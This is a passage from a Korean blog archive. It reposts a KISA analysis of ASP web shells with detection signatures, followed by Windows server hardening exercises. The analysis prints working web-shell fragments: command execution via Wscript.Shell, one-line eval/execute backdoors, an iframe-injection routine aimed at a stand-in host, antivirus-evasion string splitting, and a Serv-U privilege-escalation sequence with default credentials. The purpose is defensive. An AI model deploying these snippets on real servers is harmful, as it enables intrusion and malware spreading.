Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2011/01/27 ASP 웹쉘 상세 분석 및 탐지 방안
  2. 2011/01/27 윈도우 보안 총정리
  3. 2011/01/27 MS SQL Server 2008 Express Edition 설치하기.
  4. 2011/01/27 Process Explorer 다운로드
  5. 2011/01/27 로그 보는 프로그램 mtail 과 i-tail
  6. 2011/01/27 네트워크 상태 및 IP/PORT 감시 프로그램 TcpView
  7. 2011/01/27 컴퓨터에 실행되는 프로세스 추적 Process Viewer
  8. 2011/01/10 테스트 환경에 SharePoint Server 2010 배포
  9. 2011/01/06 ipTIME 공유기로 WoL 기능 활용하기 - 원격 컴퓨터 부팅 1
  10. 2010/12/10 [보안] 스팸 방지 대책, DomainKeys 설정.
  11. 2010/11/28 Windows 7 및 Windows Vista 에 SharePoint Server 2010 설치 방법
  12. 2010/11/27 Windows Server 2008 시스템 암호 복잡성 설정하기
  13. 2010/11/25 - 원숭이와 금기 -
  14. 2010/11/25 - 솔개의 갱생 -
  15. 2010/11/15 Logparser를 이용한 IIS 로그 Forensic 방법
  16. 2010/11/15 awstats를 이용한 로그분석 세팅(윈도우즈 IIS용)
  17. 2010/11/06 NMAP 리눅스용 - 사용법 - 추가
  18. 2010/11/06 IIS 명령줄 관리 도구, AppCmd : 사이트 속성 조회 및 변경
  19. 2010/11/06 C# Programming 에 유용한 툴 목록
  20. 2010/11/06 C# DNS nslookup 컴포넌트
  21. 2010/11/06 svchost.exe 에서 호스팅 하는 서비스 목록 조회
  22. 2010/11/06 ASP.NET, Sql Injection 필터 예제 코드
  23. 2010/11/06 C#, IPAddress 및 Port 변환
  24. 2010/11/06 C#, gzip 압축 예제 코드
  25. 2010/11/06 Server Utility Tools - 윈도우서버 툴 - 일부 추가
  26. 2010/11/06 Windows Script Encoder
  27. 2010/11/06 IIS 명령줄 관리 도구, AppCmd : 사이트 및 응용 프로그램 풀 상태
  28. 2010/11/06 IIS 6 에서 PHP 5.x 설치하기
  29. 2010/11/06 SVN 사용법과 용어 설명
  30. 2010/11/06 Centos telnet 한글 깨짐

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

[그림] 웹쉘 백신탐지 결과
또한 일반적인 서버관리자들은 해킹여부를 확인하기 힘들고 피해를 인지하더라도 관리자들이 주로 사용하는 백신 프로그램에서 웹쉘 탐지가 안 되므로 웹쉘을 찾기가 쉽지 않다. 관리자들이 해킹 피해를 인지하고 시스템을 재설치 하더라도 이전에 웹쉘이 업로드 되어 있는 소스 그대로 새롭게 설치한 시스템에 복사하여 사용하기 때문에 지속적으로 웹쉘을 관리하는 공격자에게 피해를 입게 된다.

다. 웹쉘 최신 동향
o 인증된 공격자만 사용가능하도록 패스워드를 입력받거나, 특정 세션 값으로 세팅해야만 기능 들을 사용할 수 있는 웹쉘들이 많다.
[그림] 웹쉘 사용자 인증
o ASP의 eval, execute 메소드 등은 원격에 있는 공격자로부터 웹쉘 실행코드를 전달 받아 실행 하는데 많이 이용되고 있다. 이 같은 Eval, Execute 코드는 정상적인 스크립트 파일에도 삽입이 가능해 웹쉘 탐지가 더욱 어려워지고 있다.

o 최근 각 백신 사, 관리자들에 의해 웹쉘 탐지가 늘어 공격자들은 여러 기능을 하는 웹쉘 코드를 각 기능별로 웹쉘들을 분리하여 사용하고 있다. 그 중 파일 생성 기능, DB 쿼리 기능을 하는 웹쉘 파일들이 빈번하게 발견되고 있다.
o ASP 스크립트의 경우 웹 소스를 보호하기 위해 인코딩하는 Script Encoder를 제공하고 있다.
이러한 인코더를 악용하여 웹쉘을 인코딩하고 백신탐지를 우회하고 있다.

o 공격자들은 웹쉘이 업로드 되어있는 피해시스템 웹쉘 URL을 관리하기 위해 관리프로그램들을 사용하고 있다. 중국 해커들은 아래와 같은 관리프로그램을 개발하여 자신들이 장악했던 피해 사이트들을 체계적으로 관리하고 있다.
[그림] 웹쉘 관리 프로그램
2. ASP 웹쉘 상세 분석
최근 국내에서 발생하고 있는 피해 시스템 웹서버 대부분은 윈도우가 차지하고 있다. 윈도우, IIS, ASP 환경의 사이트들이 특히 SQL Injection 공격에 취약할 경우 이러한 취약점을 이용하는 자동화 공격 도구들로 인해 쉽게 악성코드 유포지, 경유지로 악용되고 있다. 이러한 윈도우 피해시스템을 공격하는데 많이 사용되는 ASP 웹쉘의 기능과 동향에 대해 상세히 살펴보도록 하겠다.

가. 각 기능별 웹쉘 분석

■ 명령어 및 각종 어플리케이션 실행
ASP 웹쉘에서는 윈도우에서 시스템 명령어나 외부 프로그램을 실행하기 위해 Wscript.Shell, Shell.Application 오브젝트를 이용한다. Wscript.Shell 오브젝트는 메소드 Run, Exec를 이용하여 시스템 명령어 및 외부 프로그램을 실행할 수 있다.

o Wscript.Shell
- Run (cmd, 0, True)
- Exec (cmd)
Set WshShell = Server.CreateObject (“WScript.Shell”)
Call WshShell.Run (cmd, 0, True)
Set WshShell = CreateObject (“WScript.Shell”)
Set oExec = WshShell.Exec (cmd)

시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1
set objShell = CreateObject(“Shell.Application”)
objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1

■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.GetFolder(folderpath)
Set fp = f.Files
For Each f1 in fp
s = s & f1.name
Next

- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.
Set f = fso.OpenTextFile(“c:\testfile.txt”)
ra = f.ReadAll

- 파일 생성 및 수정
Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True)
MyFile.Write Contents

- 파일 이동 및 삭제
fso.CopyFile Path1, Path2
fso.CopyFolder Path1, Path2
fso.DeleteFile Path
fso.DeleteFolder Path

■ 파일 다운로드
o Adodb.Stream
Set stream = Server.CreateObject”Adodb.Stream”)
stream.Open
stream.Type = 1
stream.LoadFromFile(Path)
Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName
Response.AddHeader “Content-Length”, stream.Size
Response.Charset = “UTF-8”
Response.ContentType = “application/octet-stream”
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing

■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>
◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다.
Set regEx=New RegExp
regEx.Pattern=”(\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b”
regEx.IgnoreCase=True
retVal=regEx.Test(path)

◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다.
Set fs=Server.createObject(“Scripting.FileSystemObject”)
Set f=fs.GetFile(path)
Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다
f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>”
f_addcode.Close

■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.
Set Con = Server.CreateObject(“Adodb.Connection”)
Con.Open “Provider=SQLOLEDB;Data
Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD”
SQL = “SELECT * FROM table”
Set RS = Con.Execute(SQL)

■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.
- 터미널 서비스 포트, PortNumber 키 값 변경
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\
- 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름
(DefaultUserName)과 패스워드(DefaultPassword)를 확인
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
- 컴퓨터 이름 확인
HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName
- 익명 사용자 접속 여부 및 공유 정보 확인
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer
HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha
redNetDrives
- 보안 필터링 및 포워딩 여부 확인
HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter
- 네트워크 카드 정보 확인
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128
-8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인
Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”)
ComputerObj.Filter = Array(“Service”)
For Each Service in ComputerObj
WScript.Echo “Service display name = “ & Service.DisplayName
WScript.Echo “Service account name = “ & Service.ServiceAccountName
WScript.Echo “Service executable = “ & Service.Path
WScript.Echo “Current status = “ & Service.Status
Next

o 사용자 정보확인
Set objComputer = GetObject(“WinNT://.”)
objComputer.Filter = Array(“User”)
For Each objUser in objComputer
WScript.Echo objUser.Name
Next

■ 어플리케이션 취약점을 통한 로컬 권한상승

웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”)
a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “”
a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain &
newuser & quit
set session(“a”)=a
set b=Server.CreateObject(“Microsoft.XMLHTTP”)
b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “”
b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit
set session(“b”)=b

나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.
일반 소스
인코딩 소스
<SCRIPT language=”VBScript”>
<%
This is test
%>
</SCRIPT>
<%@ LANGUAGE = VBScript.Encode %>
<SCRIPT language=”VBScript”>
<%#@~^FAAAAA==@#@&K4b/,k/,Y dY
@#@&ogQAAA==^#~@%>
</SCRIPT>
[그림] scrdec18 프로그램을 이용한 디코딩
다. 짧은 웹쉘
ASP 웹쉘 중 eval, execute 메소드를 이용하여 공격자로부터 웹쉘 코드를 전달 받아 실행하는 짧은 소스 코드들이 있다. 이같이 짧은 소스코드가 정상적인 소스에 삽입되어 실행되는 경우도 있으므로 관리자들의 각별한 주의가 필요하다.

- eval (expression) : eval 함수는 expression으로 정의된 코드를 평가하여 결과(True, False)를 알려준다.
- execute (expression) : execute 함수는 expression으로 정의된 코드를 실행하여 결과를 알려준다.

eval, execute 메소드를 이용한 웹쉘 구동 방법은 아래 개요도처럼, 먼저 공격자는 피해시스템에 웹쉘 코드를 보내는 html 폼(2006_lite.asp.html)을 준비하고 그 폼에 웹쉘 코드를 넣어 피해 시스템 웹쉘(server.asp)에 전송한다. 피해시스템에서는 웹쉘 코드를 전달 받아 execute, eval 메소드로 실행하고 execute 메소드는 결과를 공격자에게 전달해 준다. (eval 메소드는 코드를 실행하고 결과에 대한 True, False 만을 알려주므로 적절한 결과를 공격자에게 알려주지는 못한다)
[그림] execute, eval 코드를 이용한 웹쉘 실행 방법
■ eval 코드
다음은 피해시스템에서 발견된 eval 코드 유형이며 아래와 같이 한 줄, 짧은 코드로 이루어진다.
- <%eval request(“l”)%>
- <%eval(request(“#”))%>

■ execute 코드
다음은 피해시스템에서 발견된 execute 코드 유형이다.
- <%execute request(“l”)%>
- <%If Request(“#”)<>”” Then Execute(Request(“#”))%>

■ execute 세션 유지 용 코드
execute 메소드를 이용한 짧은 코드의 경우 공격자가 실행하기 원하는 코드를 위 개요도 그림처럼 매번 전송해주어야 하는 번거로움이 있다. 그래서 공격자들은 한번 넘겨준 코드를 실행한 결과를 세션으로 연결하여 다음에는 코드를 넘겨줄 필요 없이 실행 결과에서 다음 메뉴로 넘어갈 수 있도록 하였다.
<SCRIPT language=”vbscript” runat="”server”">
If Request(“asdf”)<>”” Then Session(“조직킬러”)=Request(“asdf”)
If Session(“조직킬러”)<>”” Then Execute(Session(“조직킬러”))
</SCRIPT>

라. 기타

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

[그림] 파일 생성 웹쉘 화면
3. 탐지 방안

가. 웹쉘 시그니쳐를 이용한 파일 검색

■ 시그니쳐
웹쉘은 시스템 명령어를 수행하거나 파일을 조작하기 위해 관련된 오브젝트, Wscript.Shell, Shell.Application 등을 주로 사용하게 된다. 하지만 이러한 오브젝트는 정상적인 스크립트 코드에서는 사용하지 않는 것들로 웹쉘 탐지를 위한 시그니쳐로 지정하여 웹쉘을 탐지하는데 이용할 수 있다. 이렇게 시그니쳐로 지정할 만한 문자열들을 찾아본 결과 다음과 같았다.

- Wscript.Shell, Shell.Application 과 같은 시스템에 접근할 수 있는 오브젝트나 메소드
- 인코딩된 파일에 삽입된 헤더 문자열 VBScript.Encode
- 중국어 간체 gb2312
- 시스템 명령에 필요한 문자열 cmd.exe
- 정상적인 스크립트에서 흔히 사용되지 않는 eval, execute 함수 등
cmd\.exe
Wscript\.Shell Shell\.Application VBScript\.Encode gb2312
execute *\(? *session execute *\(? *request eval *\(? *request \.run.*> \.exec *\(
webshell lake2 hack520 lcxMarcos Marcos

■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.

[그림] 검사대상 확장명
나. 웹쉘 로그 시그니쳐를 이용한 웹 로그 검색

■ 시그니쳐
최근 대부분의 웹쉘들은 POST 방식으로 관련 데이터들을 전송하기 때문에 웹 로그에서 웹쉘이 실행된 흔적을 찾기가 쉽지 않다. 하지만 많은 웹쉘들은 실행할 메뉴들을 GET 방식으로 전달 하여 이러한 로그들을 대상으로 시그니쳐를 추출 할 수 있었다. 아래 8.0.asp 웹쉘에서 시스템 명령어 수행하는 메뉴를 실행하면 아래와 같이 /WebShell/8.0.asp?Action=Cmd1Shell GET 요청을 하게 되어 Action=Cmd1Shell 이라는 고유의 시그니쳐를 얻을 수 있다.

ex) http://victim.com/WebShell/8.0.asp?Action=Cmd1Shell

인터넷침해사고대응지원센터에서 피해시스템에서 수집된 웹쉘을 테스트하고 아래와 같이 웹쉘 실행여부를 확인할 수 있는 시그니쳐를 추출하였다.
Action=MainMenu
Action=Show1File
Action=EditFile
Action=DbManager
Action=getTerminalInfo
Action=ServerInfo
Action=Servu
Action=kmuma
Action=kmuma&act=scan
Action=Cplgm&M=2
Action=plgm
Action=PageAddToMdb >
Action=ReadREG
Action=ScanPort
Action=Cmd1Shell
Action=UpFile
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=ServiceList
(pageName|id|list|action|act)=infoAboutSrv
(pageName|id|list|action|act)=objOnSrv
(pageName|id|list|action|act)=userList
(pageName|id|list|action|act)=WsCmdRun
(pageName|id|list|action|act)=SaCmdRun
(pageName|id|list|action|act)=SaCmdRun&theAct
(pageName|id|list|action|act)=FsoFileExplorer
(pageName|id|list|action|act)=FsoFileExplorer&theAct
(pageName|id|list|action|act)=FsoFileExplorer&thePath
pageName=MsDataBase
pageName=MsDataBase&theAct=showTables
pageName=TxtSearcher
pageName=OtherTools
act=scan
Action=mainwin
action=listtb
action=listvw
action=listdb
action=execsql
action=dbsrcbox
action=searchfile
action=xpcmdshell
(action|act)=cmdshell
action=mainmenu
action=showfile
action=editfile
action=course
action=serverinfo
action=upfile
action=dbmanager
ex=edit&pth=
PageName=PageUpload&theAct
PageName=PageWebProxy&url=
productName=HigroupASPAdmin
PageWebProxy
aCTiON=cMd
aCTiON=ClonETiMe&SrC=
aCTiON=SqLrOotKIt
aCTiON=Reg
aCTiON=DAtA
aCTiON=Goto&SrC=C:\
aCTiON=uPFIlE&SrC=
aCTiON=NEw&SrC=
act=info
act=filemanage
act=edit&src=
act=del&src=
act=rename&src=
DirName=
Type=.*FileName=.*\
Type=.*ok=dir
FsoFileExplorer
WsCmdRun
SaCmdRun
MsDataBase
HigroupASPAdmin
=cmd
ClonETiMe
SqLrOotKIt

4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

[자료: 한국정보보호진흥원(KISA)]
2011/01/27 01:06 2011/01/27 01:06
1.사용자 계정 정책 보안

윈도우 2000 서버를 FTP 서비스로 사용하기 위해 새로 설치하였다.
"ftp_user" 라는 사용자를 아래와 같은 정책으로 구성하여라.

1. 기호 및 숫자, 알파벳을 조합한 최소 암호길이를 7자리 이상으로 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "암호는 복잡성을 만조해야함"을 "사용"으로 설정
           "최소 암호 길이" "7"로 설정



2. 패스워드 재 사용 금지를 위해 이전 패스워드 3개를 기억할 수 있도록
설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최근 암호 기억"을 "3"으로 설정



3. 패스워드 유출 사고를 대비하여 31일마다 패스워드를
재설정 하도록 하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>암호 정책"에
정책중에서 "최대 암호 사용 기간"을 "30"으로 설정



4. 사전 대입 공격을 차단하기 위해 5번의 로그인 실패 시 30분간
잠금 정책을 설정하여라.
=> "제어판>관리도구>로컬 보안 설정"
"계정 정책>계정 잠금 정책"에
정책에서 "계정 잠금 임계값"을 "5"로 설정한다.
//임계값을 설정하면 자동으로 계정 잠금 기간이 30으로 설정 된다.



5. 위 정책을 보안 템플릿 파일 형태로 작성하여라.
(저장 파일명: C:\Usrmply.inf)
=> 저장


6. `net`명령어를 이용하여 위에서 설정된 결과값을 저장하여라.
(저장 파일명: C:\Usrmply.txt)
=> C 드라이드 root로 이동후에
net accounts > Usrmply.txt



2.사용자 권한 할당

1. 하위 윈도우 버전(NT3.5, Windows 98등)과
텍스트 암호 통신을 하는 LM인증을 사용하지 않도록
윈도우 2000 서버의 인증 보안을 강화시켜라(NTLMv2사용).
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에 "네트워크 보안:LAN Manager 인증 수준"을
"NTLMv2 응답만 보냄\LM 거부"로 설정



2. 일반 사용자가 시스템에 직접 로컬 로그온 하여 악의적인 코드를
다운로드하고 실행하여 사용자 권한을 변경 할 수 있는 위험을 없애기 위해
허가된 관리자 그룹(Administrators)을 제외한 모든 그룹에 대하여
로컬 로그온을 하지 못하도록 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>사용자 권한 할당"에서
정책중 "로컬로 로그온"을 Administrator만 남기고 모두 삭제


3. Windows XP컴퓨터에서 네트워크를 통해 Windows 2000 도메인 컨트롤러
공유자원에 접근하기 위해 SMB통신을 하려고 한다.
IPSec을 사용하지 않고 공격자의 세션 가로채기 공격을 방어할 수 있는
SMB 서명 인증 통신 방법을 설정하여라.
=>
실행>secpol.msc(로컬보안설정)
"로컬 정책>보안 옵션"에서
정책중에
"Microsoft 네트워크 서버 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 서버 : 디지털 서명 통신 (항상)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)"
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (항상)"

위에 4개 정책을 모두 "사용"으로 설정한다.
"Microsoft 네트워크 클라이언트 : 디지털 서명 통신 (서버에서 동의한 경우)" 정책은
기본으로 사용으로 되어있는 경우도 있음.


3.익명 보안 옵션Windows 2000
※ 주의 : 문제서버를 Windows 2000 Server로 간주하고 문제를 해결하시오.

1. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>실행>regedit
[경고 문서 생성]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에
"LegalNoticeCaption" (제목)
"LegalNoticetext" (내용) 에 각각 해당 사항 입력

[마지막으로 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" 에서
오른쪽클릭>새로만들기> DWORD 값
이름 : DontDisplayLastUserName
값 데이터 : 0x1(16진수)



2. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
익명 접근을 제한하라
=>
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" 에
이름: RestrictAnonymous 에 값을 0x2(16진수) 로 변경



3. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt`파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt

[현재 실행 중인 기본 공유 제거]
net share c$ /delete
net sharee admin$ /delete
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
 

[기본 공유 제거 - XP / 2003]
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
 - Value name : AutoShareServer
 - Data Type : DWORD
 - Value : 0(zero)

[기본 공유 제거 - 2000]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
 - Value name : AutoShareWks
 - Data Type : DWORD
 - Value : 0(zero)

===> 문제에서는 윈도우 2000 서버로 생각하고 풀어라고 했는데, 윈도우 2000 서버의 기본 공유 제거

방법이 먹히지 않음 (문제를 잘못 낸듯)

XP/2003에서의 기본 공유 제거 방법으로 해야 문제가 풀립니다.


4.익명 보안 옵션Windows XP
 (3번문제과 연결된 문제)

4. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>
[경고 문구 입력]
